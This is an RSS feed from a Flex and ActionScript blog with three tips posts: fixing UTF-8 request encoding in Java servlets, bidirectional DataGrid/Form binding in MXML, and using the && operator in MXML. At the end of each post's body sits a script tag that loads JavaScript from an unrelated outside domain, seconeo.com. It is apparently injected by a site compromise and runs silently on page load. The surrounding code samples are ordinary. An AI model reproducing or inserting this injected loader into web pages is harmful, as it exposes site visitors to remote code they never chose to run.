<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>myFlexibleLife &#187; Tips &amp; Tricks</title>
	<atom:link href="http://www.myflexiblelife.com/topics/tipsandtricks/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.myflexiblelife.com</link>
	<description>A blog on Flex, ActionScript, RIAs and related open source technologies</description>
	<lastBuildDate>Thu, 27 Aug 2009 12:06:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Get rid of character encoding problems with Java Servlets</title>
		<link>http://www.myflexiblelife.com/2009/07/29/get-rid-of-character-encoding-problems-with-java-servlets/</link>
		<comments>http://www.myflexiblelife.com/2009/07/29/get-rid-of-character-encoding-problems-with-java-servlets/#comments</comments>
		<pubDate>Wed, 29 Jul 2009 08:11:27 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Tips & Tricks]]></category>
		<category><![CDATA[character encoding]]></category>
		<category><![CDATA[doGet]]></category>
		<category><![CDATA[doPost]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[request]]></category>
		<category><![CDATA[servlet]]></category>
		<category><![CDATA[setCharacterEncoding]]></category>
		<category><![CDATA[Unicode]]></category>
		<category><![CDATA[UTF-8]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=115</guid>
		<description><![CDATA[If you need to send data from a Flex application to a Java Servlet pay attention: not every Java Servlet Container assumes by default that you are sending an UTF-8 encoded request. 
To get rid of character encoding problems remember to add the following line of code in your doGet/doPost Servlet method before accessing any [...]]]></description>
			<content:encoded><![CDATA[<p>If you need to send data from a Flex application to a <strong>Java Servlet</strong> pay attention: not every Java Servlet Container assumes by default that you are sending an <strong>UTF-8 encoded request</strong>. </p>
<p>To get rid of character encoding problems remember to add the following line of code in your <strong>doGet</strong>/<strong>doPost</strong> Servlet method before accessing any <strong>request parameter</strong>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">request.<span style="color: #006633;">setCharacterEncoding</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;UTF-8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>That&#8217;s all! <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/07/29/get-rid-of-character-encoding-problems-with-java-servlets/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to implement bidirectional binding in Flex</title>
		<link>http://www.myflexiblelife.com/2008/03/12/how-to-implement-bidirectional-binding-in-flex/</link>
		<comments>http://www.myflexiblelife.com/2008/03/12/how-to-implement-bidirectional-binding-in-flex/#comments</comments>
		<pubDate>Wed, 12 Mar 2008 12:52:48 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Tips & Tricks]]></category>
		<category><![CDATA[bidirectional]]></category>
		<category><![CDATA[binding]]></category>
		<category><![CDATA[DataGrid]]></category>
		<category><![CDATA[Form]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=26</guid>
		<description><![CDATA[In this post I&#8217;ll show you how to implement a bidirectional binding between a DataGrid and a Form in such a way that any change in the Form will automatically affect data displayed in the DataGrid.
To obtain such a bidirectional binding we have to:

define a model object
define a binding between Form fields and object properties
define [...]]]></description>
			<content:encoded><![CDATA[<p>In this post I&#8217;ll show you how to implement a <strong>bidirectional binding</strong> between a <strong>DataGrid</strong> and a <strong>Form</strong> in such a way that any change in the Form will automatically affect data displayed in the DataGrid.</p>
<p>To obtain such a bidirectional binding we have to:
<ul>
<li>define a model object</li>
<li>define a binding between Form fields and object properties</li>
<li>define a binding between DataGrid and the model object</li>
</ul>
<p>Here is the simplified code to realize all this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span></span>
<span style="color: #000000;">  xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">  xmlns:wg=<span style="color: #ff0000;">&quot;com.webgriffe.samples.*&quot;</span><span style="color: #7400FF;">&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:ArrayCollection</span> id=<span style="color: #ff0000;">&quot;employees&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:Person</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:name</span><span style="color: #7400FF;">&gt;</span></span>Christina Coenraets<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:name</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:phone</span><span style="color: #7400FF;">&gt;</span></span>555-219-2270<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:phone</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:email</span><span style="color: #7400FF;">&gt;</span></span>ccoenraets@fictitious.com<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:email</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:Person</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:Person</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:name</span><span style="color: #7400FF;">&gt;</span></span>Joanne Wall<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:name</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:phone</span><span style="color: #7400FF;">&gt;</span></span>555-219-2012<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:phone</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:email</span><span style="color: #7400FF;">&gt;</span></span>jwall@fictitious.com<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:email</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:Person</span><span style="color: #7400FF;">&gt;</span></span>
   <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:Person</span><span style="color: #7400FF;">&gt;</span></span>
     <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:name</span><span style="color: #7400FF;">&gt;</span></span>Maurice Smith<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:name</span><span style="color: #7400FF;">&gt;</span></span>
     <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:phone</span><span style="color: #7400FF;">&gt;</span></span>555-219-2012<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:phone</span><span style="color: #7400FF;">&gt;</span></span>
     <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:email</span><span style="color: #7400FF;">&gt;</span></span>maurice@fictitious.com<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:email</span><span style="color: #7400FF;">&gt;</span></span>
   <span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:Person</span><span style="color: #7400FF;">&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:ArrayCollection</span><span style="color: #7400FF;">&gt;</span></span>  <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:Person</span> id=<span style="color: #ff0000;">&quot;per&quot;</span></span>
<span style="color: #000000;">    name=<span style="color: #ff0000;">&quot;{inName.text}&quot;</span></span>
<span style="color: #000000;">    phone=<span style="color: #ff0000;">&quot;{inPhone.text}&quot;</span></span>
<span style="color: #000000;">    email=<span style="color: #ff0000;">&quot;{inEmail.text}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Panel</span> title=<span style="color: #ff0000;">&quot;DataGrid e Form - binding bidirezionale&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Label</span> text=<span style="color: #ff0000;">&quot;Select a row in the DataGrid control.&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:DataGrid</span> id=<span style="color: #ff0000;">&quot;dg&quot;</span> dataProvider=<span style="color: #ff0000;">&quot;{employees}&quot;</span></span>
<span style="color: #000000;">      itemClick=<span style="color: #ff0000;">&quot;per=Person(event.currentTarget.selectedItem);&quot;</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:columns</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:DataGridColumn</span></span>
<span style="color: #000000;">            dataField=<span style="color: #ff0000;">&quot;name&quot;</span></span>
<span style="color: #000000;">            headerText=<span style="color: #ff0000;">&quot;Name&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:DataGridColumn</span></span>
<span style="color: #000000;">            dataField=<span style="color: #ff0000;">&quot;phone&quot;</span></span>
<span style="color: #000000;">            headerText=<span style="color: #ff0000;">&quot;Phone&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:DataGridColumn</span></span>
<span style="color: #000000;">            dataField=<span style="color: #ff0000;">&quot;email&quot;</span></span>
<span style="color: #000000;">            headerText=<span style="color: #ff0000;">&quot;Email&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:columns</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:DataGrid</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Form</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:FormItem</span> label=<span style="color: #ff0000;">&quot;Name&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:TextInput</span> id=<span style="color: #ff0000;">&quot;inName&quot;</span> text=<span style="color: #ff0000;">&quot;{per.name}&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:FormItem</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:FormItem</span> label=<span style="color: #ff0000;">&quot;Phone&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:TextInput</span> id=<span style="color: #ff0000;">&quot;inPhone&quot;</span> text=<span style="color: #ff0000;">&quot;{per.phone}&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:FormItem</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:FormItem</span> label=<span style="color: #ff0000;">&quot;Email&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:TextInput</span> id=<span style="color: #ff0000;">&quot;inEmail&quot;</span> text=<span style="color: #ff0000;">&quot;{per.email}&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:FormItem</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Form</span><span style="color: #7400FF;">&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Panel</span><span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p> <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2008/03/12/how-to-implement-bidirectional-binding-in-flex/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flex and logical AND (&amp;&amp;) operator usage inside mxml code</title>
		<link>http://www.myflexiblelife.com/2007/08/29/flex-and-logical-and-operator-usage-inside-mxml-code/</link>
		<comments>http://www.myflexiblelife.com/2007/08/29/flex-and-logical-and-operator-usage-inside-mxml-code/#comments</comments>
		<pubDate>Wed, 29 Aug 2007 19:23:57 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Tips & Tricks]]></category>
		<category><![CDATA[logical operators]]></category>
		<category><![CDATA[mxml]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=7</guid>
		<description><![CDATA[While developing Flex applications you may need to use logical AND operator (&#38;&#38;) inside mxml code, as in the following code example:

1
2
3
4
5
6
7
8
9
&#60;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&#62;
&#60;mx:Application
  xmlns:mx=&#34;http://www.adobe.com/2006/mxml&#34;
  layout=&#34;vertical&#34;&#62;
    &#60;mx:CheckBox label=&#34;Check me&#34; id=&#34;cb1&#34; click=&#34;{}&#34; /&#62;
    &#60;mx:CheckBox label=&#34;Check me&#34; id=&#34;cb2&#34; click=&#34;{}&#34;/&#62;
    &#60;mx:Button label=&#34;Now you can click me&#34; id=&#34;bt1&#34;
 [...]]]></description>
			<content:encoded><![CDATA[<p>While developing Flex applications you may need to use <strong>logical AND operator</strong> (<code>&amp;&amp;</code>) inside <strong>mxml</strong> code, as in the following code example:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span></span>
<span style="color: #000000;">  xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">  layout=<span style="color: #ff0000;">&quot;vertical&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:CheckBox</span> label=<span style="color: #ff0000;">&quot;Check me&quot;</span> id=<span style="color: #ff0000;">&quot;cb1&quot;</span> click=<span style="color: #ff0000;">&quot;{}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:CheckBox</span> label=<span style="color: #ff0000;">&quot;Check me&quot;</span> id=<span style="color: #ff0000;">&quot;cb2&quot;</span> click=<span style="color: #ff0000;">&quot;{}&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;Now you can click me&quot;</span> id=<span style="color: #ff0000;">&quot;bt1&quot;</span></span>
<span style="color: #000000;">      enabled=<span style="color: #ff0000;">&quot;{cb1.selected &amp;&amp; cb2.selected}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>Actually the Flex compiler won&#8217;t compile this code blaming that <em>the entity name must immediately follow the &#8216;&amp;&#8217; in the entity reference</em> that is trying to interpret the first <code>&amp;</code> as the starting name of an entity.</p>
<p>You can find a couple of solutions <a href="http://blog.shrefler.net/?p=7">here</a>. The one I prefer consists of replacing the <code>&amp;</code> character into its equivalent html entity <code>&amp;</code> but you can also implement the solution below:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span></span>
<span style="color: #000000;">  xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">  layout=<span style="color: #ff0000;">&quot;vertical&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #339933;">&lt;mx:Script&gt;</span>
<span style="color: #339933;">    &lt;![CDATA[</span>
<span style="color: #339933;">      private function and(p1:Boolean, p2:Boolean):Boolean {</span>
<span style="color: #339933;">        return p1 &amp;&amp; p2;</span>
<span style="color: #339933;">      }</span>
<span style="color: #339933;">    ]]&gt;</span>
<span style="color: #339933;">    &lt;/mx:Script&gt;</span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:CheckBox</span> label=<span style="color: #ff0000;">&quot;Check me&quot;</span> id=<span style="color: #ff0000;">&quot;cb1&quot;</span> click=<span style="color: #ff0000;">&quot;{}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:CheckBox</span> label=<span style="color: #ff0000;">&quot;Check me&quot;</span> id=<span style="color: #ff0000;">&quot;cb2&quot;</span> click=<span style="color: #ff0000;">&quot;{}&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;Now you can click me&quot;</span> id=<span style="color: #ff0000;">&quot;bt1&quot;</span></span>
<span style="color: #000000;">      enabled=<span style="color: #ff0000;">&quot;{and(cb1.selected, cb2.selected)}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p> <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2007/08/29/flex-and-logical-and-operator-usage-inside-mxml-code/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
